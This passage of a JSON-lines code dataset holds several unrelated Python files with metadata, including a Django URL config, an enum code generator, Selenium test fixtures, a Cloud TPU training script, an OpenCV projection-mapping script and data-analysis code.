"call"}, {"api_name": "logging.INFO", "line_number": 16, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.FileHandler", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 40, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 40, "usage_type": "call"}]} +{"seq_id": "192586173", "text": "from django.conf.urls import url\r\nfrom.import views\r\n\r\napp_name = 'mybook'\r\nurlpatterns = [\r\n url(r'^$', views.index, name='index'),\r\n url(r'^addBlog$', views.addBlog, name='addBlog'),\r\n url(r'^addLike$', views.addLike, name='addLike'),\r\n url(r'^showAll$', views.showAll, name='showAll'),\r\n url(r'^newComment$', views.newComment, name='newComment'),\r\n url(r'^addComment$', views.addComment, name='addComment'),\r\n url(r'^showBlog/(?P\\d+)$', views.showBlog, name='showBlog'),\r\n]\r\n", "sub_path": "apps/my_book/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 503, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}]} +{"seq_id": "434717093", "text": "import xml.etree.ElementTree as ET\nimport os\n\n# Clear console on startup\nos.system('cls' if os.name=='nt' else 'clear')\n\n# load the xml\ntree = ET.parse('enums.xml')\nroot = tree.getroot()\n\n# get xml sections\nsettings = root.find(\"settings\")\nincludes = root.find(\"include\")\ndisclaimer = root.find(\"disclaimer\")\nlicense = root.find(\"license\")\nenums = root.find(\"enums\")\n\n# the output\noutput = \"\"\n\n## create build content ##\noutput += \"#ifndef \"+settings.find(\"definitionName\").text+\"\\n\"\noutput += \"#define \"+settings.find(\"definitionName\").text+\"\\n\"\n\noutput += \"\\n\"\n\n#includes\nfor i in includes.iter(\"i\"):\n n = i.get(\"name\")\n if n[0] == \"!\":\n n = \"<\" + n[1:] + \">\"\n output += \"#include \"+n+\"\\n\"\n\noutput += \"\\n\"\n\n#disclaimer\nif settings.find(\"useDisclaimer\").text == \"true\":\n for l in disclaimer.iter(\"l\"):\n output += \"// \"+l.text+\"\\n\"\n\noutput += \"\\n\"\n\n# license\nif settings.find(\"useLicense\").text == \"true\":\n for l in license.iter(\"l\"):\n output += \"/// \"+l.text+\"\\n\"\n\noutput += \"\\n\"\n\n#namespace\noutput += \"namespace \"+settings.find(\"namespace\").text +\" {\\n\"\n\n#enums\nfor e in enums.iter(\"enum\"):\n output +=\"\\t// Enum: \" + e.get(\"name\") + \" \\\\\\\\ \\n\"\n # enum\n output +=\"\\tenum class \"+settings.find(\"enumPrefix\").text+e.get(\"name\")+\" { \"\n flgE1 = False\n for v in e.iter(\"value\"):\n if flgE1:\n output += \", \"\n else:\n flgE1 = True\n output += v.text\n output+=\" };\\n\"\n\n # class\n output +=\"\\tclass \"+settings.find(\"classPrefix\").text + e.get(\"name\")+\" {\\n\"\n\n output +=\"\\t\\ttemplate\\n\"\n output +=\"\\t\\tstd::string get() {\\n\"\n for v in e.iter(\"value\"):\n output+=\"\\t\\t\\tif ( i == \"+settings.find(\"enumPrefix\").text + e.get(\"name\")+\"::\"+v.text+\" )\\n\"\n output+=\"\\t\\t\\t\\treturn \\\"\"+ v.text + \"\\\";\\n\"\n output +=\"\\t\\t\\tthrow new out_of_range::exception();\\n\"\n output +=\"\\t\\t}\\n\\n\"\n\n output +=\"\\t\\ttemplate\\n\"\n output +=\"\\t\\t\"+settings.find(\"enumPrefix\").text+e.get(\"name\")+\" get() {\\n\"\n for v in e.iter(\"value\"):\n output+=\"\\t\\t\\tif ( str == \\\"\"+v.text+\"\\\" )\\n\"\n output+=\"\\t\\t\\t\\treturn \"+ settings.find(\"enumPrefix\").text + e.get(\"name\")+\"::\" + v.text + \";\\n\"\n output +=\"\\t\\t\\tthrow new out_of_range::exception();\\n\"\n output +=\"\\t\\t}\\n\\n\"\n\n output +=\"\\t};\\n\\n\"\n\noutput += \"}\\n\"\n\noutput +=\"\\n\"\n\n# end define\noutput += \"#endif // !\"+settings.find(\"definitionName\").text\n\n\nprint(output)\nfile = open(\"../../../src/\"+settings.find(\"filePath\").text+\"/\"+settings.find(\"fileName\").text,\"w\")\nfile.write(output);\nfile.close();\n#for enum in enums.iter(\"enum\"):\n# print(\"Enum: \"+enum.get(\"name\"))\n# for value in enum.iter(\"value\"):\n# print(\"\\tvalue: \"+value.text)\n# print(\"\")\n", "sub_path": "extra/tools/pyCodeGen/pyEnumGen/generate.py", "file_name": "generate.py", "file_ext": "py", "file_size_in_byte": 2751, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.system", "line_number": 5, "usage_type": "call"}, {"api_name": "os.name", "line_number": 5, "usage_type": "attribute"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 8, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 8, "usage_type": "name"}]} +{"seq_id": "442042873", "text": "import pytest\nfrom page_class.login_page_test import LoginPage\nfrom selenium import webdriver\nfrom data_test import common_data as CD\nfrom data_test.login import login_data as LD\nfrom page_class.index_page_test import IndexPage\nfrom page_class.investor_page_test import BindPage\nwb = None # 全局变量，其他函数也可使用\n\n\n# 声明是一个fixture\n@pytest.fixture(scope=\"class\")\ndef access_web():\n global wb\n # 前置条件\n wb = webdriver.Chrome()\n wb.get(CD.web_url)\n lg = LoginPage(wb)\n # 代表前置条件和后置条件的分割线，后面跟的是要返回的数据，可以是列表和元组\n yield (wb,lg)\n # 后置条件\n wb.quit()\n\n\n@pytest.fixture()\ndef log_teardown():\n global wb\n # 前置条件\n yield\n # 后置条件\n wb.refresh()\n\n\n@pytest.fixture(scope=\"class\")\ndef bind_setup():\n global wb\n # 前置条件\n wb = webdriver.Firefox()\n wb.get(CD.web_url)\n wb.maximize_window()\n LoginPage(wb).login(LD.win_data['user'], LD.win_data['pwd'])\n IndexPage(wb).choose_one()\n ix = BindPage(wb)\n yield (wb,ix)\n # 后置条件\n wb.quit()\n\n\n@pytest.fixture()\ndef bind_teardown():\n global wb\n yield\n wb.refresh()\n\n", "sub_path": "case_test/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 1215, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 16, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 16, "usage_type": "name"}, {"api_name": "data_test.common_data.web_url", "line_number": 17, "usage_type": "attribute"}, {"api_name": "data_test.common_data", "line_number": 17, "usage_type": "name"}, {"api_name": "page_class.login_page_test.LoginPage", "line_number": 18, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 25, "usage_type": "call"}, {"api_name": "selenium.webdriver.Firefox", "line_number": 38, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 38, "usage_type": "name"}, {"api_name": "data_test.common_data.web_url", "line_number": 39, "usage_type": "attribute"}, {"api_name": "data_test.common_data", "line_number": 39, "usage_type": "name"}, {"api_name": "page_class.login_page_test.LoginPage", "line_number": 41, "usage_type": "call"}, {"api_name": "data_test.login.login_data.win_data", "line_number": 41, "usage_type": "attribute"}, {"api_name": "data_test.login.login_data", "line_number": 41, "usage_type": "name"}, {"api_name": "page_class.index_page_test.IndexPage", "line_number": 42, "usage_type": "call"}, {"api_name": "page_class.investor_page_test.BindPage", "line_number": 43, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 34, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "85519764", "text": "#!/usr/bin/env python\n\n# Copyright 2019 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n'''\nA script that creates and manages several Cloud Platform resources that\nare required to run training on Cloud TPUs.\nThis script relies on tpu_manager.py for several methods that simplify\nAPI calls to Cloud Storage, Compute Engine, IAM, and Cloud TPU APIs.\n'''\nimport uuid\nimport os\nimport subprocess\nimport gzip\nimport shutil\nimport logging\nimport googleapiclient.discovery\nfrom distutils.util import strtobool\nfrom google.cloud import storage\nimport tpu_manager # Requires tpu_manager.py in the same CWD.\n\n# Compute and TPU variables. If you do not have environment variables\n# set on the system or container, the script uses the values that you\n# specify here.\nPROJECT_ID = os.environ.get('PROJECT_ID', 'my-project')\nNETWORK = os.environ.get('NETWORK', 'default')\nZONE = os.environ.get('ZONE', 'us-central1-c')\nTPU_TYPE = os.environ.get('TPU_TYPE', 'v2-8')\nFRAMEWORK = os.environ.get('FRAMEWORK', '1.14')\nJOB_ID = os.environ.get('JOB_ID', '{project}-tpu-{uid}'.format(\n project=PROJECT_ID, uid=str(uuid.uuid4())))\nPREEMPTIBLE_TPU = bool(strtobool(os.environ.get('PREEMPTIBLE_TPU', 'False')))\nRESERVED_TPU = bool(strtobool(os.environ.get('RESERVED_TPU', 'False')))\nTPU_ADDRESS = os.environ.get('TPU_ADDRESS', None)\n\n# Cloud Storage variables\nSTORAGE_LOCATION = os.environ.get('STORAGE_LOCATION', 'us-central1')\nPREPROCESS = bool(strtobool(os.environ.get('PREPROCESS', 'True')))\nDATA_DIR = os.environ.get('DATA_DIR', 'data/')\nOUTPUT_DIR = os.environ.get('OUTPUT_DIR', 'output/')\n\n# Change CORE_RATIO only if the number of cores for each TPU IP address\n# changes. CIDR range size is 33-(max(8, cores)//CORE_RATIO).bit_length())\nCORE_RATIO = 4\n\n# Model variables specificlly for MNIST\nITERATIONS = os.environ.get('ITERATIONS', '4000')\nTRAIN_STEPS = os.environ.get('TRAIN_STEPS', '10000')\n\n# [START run_command_local]\ndef execute(cmd, cwd=None, capture_output=False, env=None, raise_errors=True):\n \"\"\"Execute an external command (wrapper for Python subprocess).\"\"\"\n logging.info('Executing command: {cmd}'.format(cmd=str(cmd)))\n stdout = subprocess.PIPE if capture_output else None\n process = subprocess.Popen(cmd, cwd=cwd, env=env, stdout=stdout)\n output = process.communicate()[0]\n returncode = process.returncode\n if returncode:\n # Error\n if raise_errors:\n raise subprocess.CalledProcessError(returncode, cmd)\n else:\n logging.info('Command returned error status %s', returncode)\n if output:\n logging.info(output)\n return returncode, output\n# [END run_command_local]\n\n# [START preprocess_mnist]\ndef preprocess_mnist():\n '''\n Define the steps for pre-processing data before training your model.\n '''\n execute([\n 'python3',\n './convert_to_records.py',\n '--directory=./{path}'.format(path=DATA_DIR)])\n\n # Unzip the `.gz` files created by the pre-processing script.\n for root, subdirs, files in os.walk('./{path}'.format(path=DATA_DIR)):\n for file in files:\n if file.endswith(\".gz\"):\n p_in = os.path.join(root, file)\n p_out = os.path.splitext(p_in)[0]\n with gzip.open(p_in, 'rb') as f_in, open(p_out, 'wb') as f_out:\n print('Extracted {p_in} to {p_out}'.format(\n p_in=p_in,\n p_out=p_out))\n shutil.copyfileobj(f_in, f_out)\n f_in.close()\n f_out.close()\n os.remove(p_in)\n# [END preprocess_mnist]\n\n# [START train_mnist]\ndef train_mnist():\n '''\n Define the steps for training your model on a Cloud TPU. This example\n starts a subprocess to run the `mnist_tpu.py` script. Optionally you can\n import your TF module and run it within Python.\n '''\n execute([\n 'python3',\n './models/official/mnist/mnist_tpu.py',\n '--tpu={tpu_name}'.format(tpu_name=JOB_ID),\n '--data_dir=gs://{bucket}/{path}'.format(\n bucket=JOB_ID,\n path=DATA_DIR),\n '--model_dir=gs://{bucket}/{path}'.format(\n bucket=JOB_ID,\n path=OUTPUT_DIR),\n '--iterations={iterations}'.format(iterations=ITERATIONS),\n '--train_steps={train_steps}'.format(train_steps=TRAIN_STEPS),\n '--tpu_zone={zone}'.format(zone=ZONE),\n '--gcp_project={project}'.format(project=PROJECT_ID),\n '--use_tpu=True'\n ])\n# [END train_mnist]\n\ndef main():\n '''\n Main process to provision Cloud Platform resources, preprocess the\n training data, start a TPU node, and run the training script.\n '''\n\n # Preprocess the data if necessary before configuring resources and\n # starting training.\n if PREPROCESS:\n try:\n preprocess_mnist()\n except Exception:\n raise Exception('Preprocessing failed. Aborting training.')\n\n # [START cloud_platform_steps]\n # Initialize the necessary client libraries.\n tpu = googleapiclient.discovery.build(\n 'tpu', 'v1', cache_discovery=False)\n compute = googleapiclient.discovery.build(\n 'compute', 'v1', cache_discovery=False)\n # The Storage client is handled by importing google.cloud.storage\n\n # Create a new Cloud Storage bucket.\n try:\n bucket = tpu_manager.create_bucket(\n storage,\n JOB_ID,\n location=STORAGE_LOCATION)\n except Exception:\n raise Exception('Could not create the bucket for this training job.')\n\n # Upload the prepared data files to the Cloud Storage bucket.\n try:\n tpu_manager.upload_dir(bucket, './{path}'.format(path=DATA_DIR))\n except Exception:\n raise Exception('Could not upload training data to the bucket.')\n\n # Reserve a CIRD range for the TPU node. The tpu_manager.reserve_cidr()\n # method automatically finds an open IP address range of the appropriate\n # size for your TPU node and reserves it.\n try:\n cidr = tpu_manager.reserve_cidr(\n compute,\n PROJECT_ID,\n NETWORK,\n JOB_ID,\n 33-(max(8, int(TPU_TYPE.split('-')[1])//CORE_RATIO).bit_length()),\n TPU_ADDRESS)\n except Exception:\n raise Exception('Could not reserve a CIDR for this TPU node.')\n\n # Start the TPU node right before you submit the job.\n tpu_node = tpu_manager.create_tpus(\n tpu, PROJECT_ID, JOB_ID, NETWORK, ZONE, TPU_TYPE, FRAMEWORK, cidr,\n preemptible=PREEMPTIBLE_TPU, reserved=RESERVED_TPU\n )\n\n # Grant the TPU read access to your Cloud Storage bucket.\n tpu_manager.tpu_bucket_access(\n bucket,\n tpu_node['serviceAccount'],\n 'roles/storage.objectAdmin')\n # [END cloud_platform_steps]\n\n # [START training]\n # Start the training process now that the resources are in place.\n try:\n train_mnist()\n except Exception as e:\n logging.exception(e)\n # [END training]\n\n # [START cleanup]\n # Clean up Cloud Platform resources to reduce costs.\n print('Cleaning up unused resources.')\n tpu_manager.delete_tpus(tpu, PROJECT_ID, ZONE, JOB_ID)\n tpu_manager.release_cidr(compute, PROJECT_ID, JOB_ID)\n\n # If your application needs to deploy the trained model immediately,\n # you can download the results of this training run to a local directory.\n # Alternatively, another application can read the results from the bucket.\n tpu_manager.download_blobs(storage, bucket.name, OUTPUT_DIR,\n 'results-{id}'.format(id=JOB_ID))\n\n # Delete the `DATA_DIR` and keep the `OUTPUT_DIR` with the results for\n # another application that needs those results to run inference processes.\n tpu_manager.delete_blobs(storage, bucket.name, DATA_DIR)\n print('Model results are still available in {bucket}/{path}'.format(\n bucket=bucket.name,\n path=OUTPUT_DIR))\n\n # Optionally delete the entire Cloud Storage bucket and all contents.\n # tpu_manager.delete_bucket(storage, bucket.name)\n # [END cleanup]\n\nif __name__ == '__main__':\n\n main()\n", "sub_path": "tpu/tpu_manager/tpu_automate_training.py", "file_name": "tpu_automate_training.py", "file_ext": "py", "file_size_in_byte": 8652, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.environ.get", "line_number": 37, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 38, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 39, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 40, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 41, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 42, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 42, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 43, "usage_type": "call"}, {"api_name": "distutils.util.strtobool", "line_number": 44, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 44, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 44, "usage_type": "attribute"}, {"api_name": "distutils.util.strtobool", "line_number": 45, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 45, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 46, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 49, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 49, "usage_type": "attribute"}, {"api_name": "distutils.util.strtobool", "line_number": 50, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 50, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 51, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 51, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 52, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 59, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 60, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 60, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 65, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 66, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 67, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 73, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 75, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 77, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path", "line_number": 96, "usage_type": "attribute"}, {"api_name": "gzip.open", "line_number": 97, "usage_type": "call"}, {"api_name": "shutil.copyfileobj", "line_number": 101, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 104, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.discovery.build", "line_number": 148, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.discovery", "line_number": 148, "usage_type": "attribute"}, {"api_name": "googleapiclient.discovery", "line_number": 148, "usage_type": "name"}, {"api_name": "googleapiclient.discovery.discovery.build", "line_number": 150, "usage_type": "call"}, {"api_name": "googleapiclient.discovery.discovery", "line_number": 150, "usage_type": "attribute"}, {"api_name": "googleapiclient.discovery", "line_number": 150, "usage_type": "name"}, {"api_name": "tpu_manager.create_bucket", "line_number": 156, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 157, "usage_type": "argument"}, {"api_name": "tpu_manager.upload_dir", "line_number": 165, "usage_type": "call"}, {"api_name": "tpu_manager.reserve_cidr", "line_number": 173, "usage_type": "call"}, {"api_name": "tpu_manager.create_tpus", "line_number": 184, "usage_type": "call"}, {"api_name": "tpu_manager.tpu_bucket_access", "line_number": 190, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 201, "usage_type": "call"}, {"api_name": "tpu_manager.delete_tpus", "line_number": 207, "usage_type": "call"}, {"api_name": "tpu_manager.release_cidr", "line_number": 208, "usage_type": "call"}, {"api_name": "tpu_manager.download_blobs", "line_number": 213, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 213, "usage_type": "argument"}, {"api_name": "tpu_manager.delete_blobs", "line_number": 218, "usage_type": "call"}, {"api_name": "google.cloud.storage", "line_number": 218, "usage_type": "argument"}]} +{"seq_id": "559873445", "text": "import math\nimport numpy as np, cv2\n\nwidth = 640\nheight = 480\n\nreferencePoints = np.float32(\n[[width/4,height/4],\n[3*width/4,height/4],\n[3*width/4,3*height/4],\n[width/4,3*height/4]])\n\ncurrentPoint = -1\ncalibrating = True\nfullScreen = False\n\nnames = ['0', 'A risada mais engraçada Pânico na TV.avi', 'Sabe de nada inocente[1].avi'];\nwindow_titles = ['first', 'second', 'third']\n\n\ninputimage1 = cv2.imread(\"pp.jpg\")\ncap = [cv2.VideoCapture(i) for i in names]\n\nframes = [None] * len(names);\ngray = [None] * len(names);\nret = [None] * len(names);\n\nrows1, cols1 = inputimage1.shape[:2]\npts1 = np.float32([[0,0],[cols1,0],[cols1,rows1],[0,rows1]])\npts2 = np.float32([[0,0],[639,0],[639,479],[0,479]])\n\nimage = np.zeros((height, width, 3), np.uint8)\n\ndef pointColor(n):\n\tif n == 0:\n\t\treturn (0,0,255)\n\telif n == 1:\n\t\treturn (0,255,255)\n\telif n == 2:\n\t\treturn (255,255,0)\n\telse:\n\t\treturn (0,255,0)\n\ndef mouse(event, x, y, flags, param):\n\tglobal currentPoint\n\n\tif event == cv2.EVENT_LBUTTONDOWN:\n\t\tcp = 0\n\t\tfor point in referencePoints:\n\t\t\tdist = math.sqrt((x-point[0])*(x-point[0])+(y-point[1])*(y-point[1]))\n\t\t\tif dist < 4:\n\t\t\t\tcurrentPoint = cp\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tcp = cp + 1\n\n\tif event == cv2.EVENT_LBUTTONUP:\n\t\tcurrentPoint = -1\n\t\t\n\tif currentPoint != -1:\n\t\treferencePoints[currentPoint] = [x,y]\n\ncv2.namedWindow(\"test\", cv2.WINDOW_NORMAL)\ncv2.setMouseCallback(\"test\", mouse)\n\nwhile True:\n\t\n\timage[:] = (0,0,0)\n\tif calibrating:\n\t\tcolor = 0\n\t\tfor point in referencePoints:\n\t\t\tcv2.circle(image, (int(point[0]), int(point[1])),5,pointColor(color), -1)\n\t\t\tcolor = color + 1\n\n\tret, frame = cap.read()\n\tM = cv2.getPerspectiveTransform(pts1,referencePoints)\n\tM2 = cv2.getPerspectiveTransform(pts2,referencePoints)\n\tcv2.warpPerspective(frame, M2, (width,height), image, borderMode=cv2.BORDER_TRANSPARENT)\n\t#cv2.warpPerspective(inputimage1, M, (width,height), image, borderMode=cv2.BORDER_TRANSPARENT)\n\n\tcv2.imshow(\"test\", image)\n\tkey = cv2.waitKey(1) & 0xFF\n\n\tif key == ord(\"c\"):\n\t\tcalibrating = not calibrating\n\n\tif key == ord(\"f\"):\n\t\tif fullScreen == False:\n\t\t\tcv2.setWindowProperty(\"test\", cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN)\n\t\telse:\n\t\t\tcv2.setWindowProperty(\"test\", cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_NORMAL)\n\t\tfullScreen = not fullScreen\n\n\tif key == ord(\"q\"):\n\t\tbreak\n\ncv2.destroyAllWindows()", "sub_path": "Júlio/Mini projeto_01/projectionmapping.py", "file_name": "projectionmapping.py", "file_ext": "py", "file_size_in_byte": 2306, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "numpy.float32", "line_number": 7, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 32, "usage_type": "attribute"}, {"api_name": "cv2.EVENT_LBUTTONDOWN", "line_number": 47, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.EVENT_LBUTTONUP", "line_number": 57, "usage_type": "attribute"}, {"api_name": "cv2.namedWindow", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 63, "usage_type": "attribute"}, {"api_name": "cv2.setMouseCallback", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 72, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.getPerspectiveTransform", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.warpPerspective", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.BORDER_TRANSPARENT", "line_number": 78, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 81, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 82, "usage_type": "call"}, {"api_name": "cv2.setWindowProperty", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.WND_PROP_FULLSCREEN", "line_number": 89, "usage_type": "attribute"}, {"api_name": "cv2.WINDOW_FULLSCREEN", "line_number": 89, "usage_type": "attribute"}, {"api_name": "cv2.setWindowProperty", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.WND_PROP_FULLSCREEN", "line_number": 91, "usage_type": "attribute"}, {"api_name": "cv2.WINDOW_NORMAL", "line_number": 91, "usage_type": "attribute"}, {"api_name": "cv2.destroyAllWindows", "line_number": 97, "usage_type": "call"}]} +{"seq_id": "161579898", "text": "import json\nimport datetime\n\ndef last_day_of_month(any_day):\n \"\"\"\n Get the last day of that month for any input day in Datetime format.\n e.g. datetime(2017, 1, 13) -> datetime(2017, 1, 31)\n \"\"\"\n next_month = any_day.replace(day=28) + datetime.timedelta(days=4) # this will never fail\n return next_month - datetime.timedelta(days=next_month.day)\n\n\ndef get_str_start_end_dates(year, month):\n \"\"\"\n Return the start and end date for WDTK search. Peculiar to the website.\n \"\"\"\n first_day = datetime.datetime(year, month, 1)\n last_day = last_day_of_month(first_day)\n \n start_date = '{:4d}%2F{:02d}%2F{:02d}'.format(first_day.year, first_day.month, first_day.day)\n end_date = '{:4d}%2F{:02d}%2F{:02d}'.format(last_day.year, last_day.month, last_day.day)\n \n return start_date, end_date\n\n\ndef write_to_json(output, f):\n \"\"\"Simple helper to write to json with new line separator.\"\"\"\n json.dump(output.to_dict(), f)\n f.write('\\n')\n \n \ndef get_monthly_by_type_and_status(parent_url, search_type, search_start_date, search_end_date, \\\n status, start_page, end_page, output_f):\n \"\"\"\n Extract requests by date, type and search keywords. Save to pre-opened json file, will cajson file\n \"\"\"\n rel_url = '/list/{}?query={}&request_date_after={}&request_date_before={}&commit=Search'.format(status,\\\n search_type,\\\n search_start_date, \\\n search_end_date)\n abs_url = parent_url + rel_url\n regex = re.compile('^\\/request\\/*#*')\n\n crawl = Crawler()\n n_pages = end_page-start_page+1\n \n t0 = time.time()\n for val in crawl.get_all_requests(parent_url,\\\n rel_url, \n regex, \\\n p_start=start_page, \n p_end=end_page):\n write_to_json(val, output_f)\n print('Total time taken to parse {} pages is {} seconds'.format(n_pages, time.time()-t0))\n return None", "sub_path": "webscraping/search_utils.py", "file_name": "search_utils.py", "file_ext": "py", "file_size_in_byte": 2298, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "datetime.timedelta", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "449845435", "text": "from scipy.interpolate import interp1d\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport scipy\nfrom scipy.stats import norm\nimport pandas\nimport matplotlib.ticker as mticker\nfrom scipy import interpolate\n\ndf=pandas.read_pickle('output.csv')\ntime=np.array(df['t[Myr]'])\nNencl=np.array(df['Nenc'])\nNcol=np.array(df['Ncol'])\nMstar=np.array(df['M_star[MSun]'])/1.e+5\nMgas=np.array(df['M_gas[MSun]'])/1.e+5\nMmax=np.array(df['M_max[MSun]'])#/1.e+4\n\n\n\npotential_star_gas=np.array(df['potential_star_gas'])\nkineticstar=np.array(df['kineticstar'])\npotentialstar=np.array(df['potentialstar'])\ndEkacc=np.array(df['dEkacc'])\ndEpacc=np.array(df['dEpacc'])\ndEgasacc=np.array(df['dEgasacc'])\ndEkcoll=np.array(df['dEkcoll'])\ndEpcoll=np.array(df['dEpcoll'])\ndEgascoll=np.array(df['dEgascoll'])\nlagrange10=np.array(df['lagrange10'])\nlagrange50=np.array(df['lagrange50'])\nlagrange90=np.array(df['lagrange90'])\nrcore=np.array(df['radiuscore'])\ndensitycore=np.array(df['densitycore'])\n\n\n# df1=pandas.read_pickle('properties.csv')\n# mass=np.array(df1['mass'])\n\n\n\n# numberofstars=[]\n# for i in range(len(mass)):\n# \tnumberofstars.append(len(mass[i]))\n\n# numberofstars=np.array(numberofstars,dtype=float)\n# escapers=(numberofstars-Nencl)\n\n# escapers=np.diff(escapers,prepend=0)\n# for i in range(len(escapers)):\n# \tif escapers[i]<0.:\n# \t\tescapers[i]=0.\n\n# 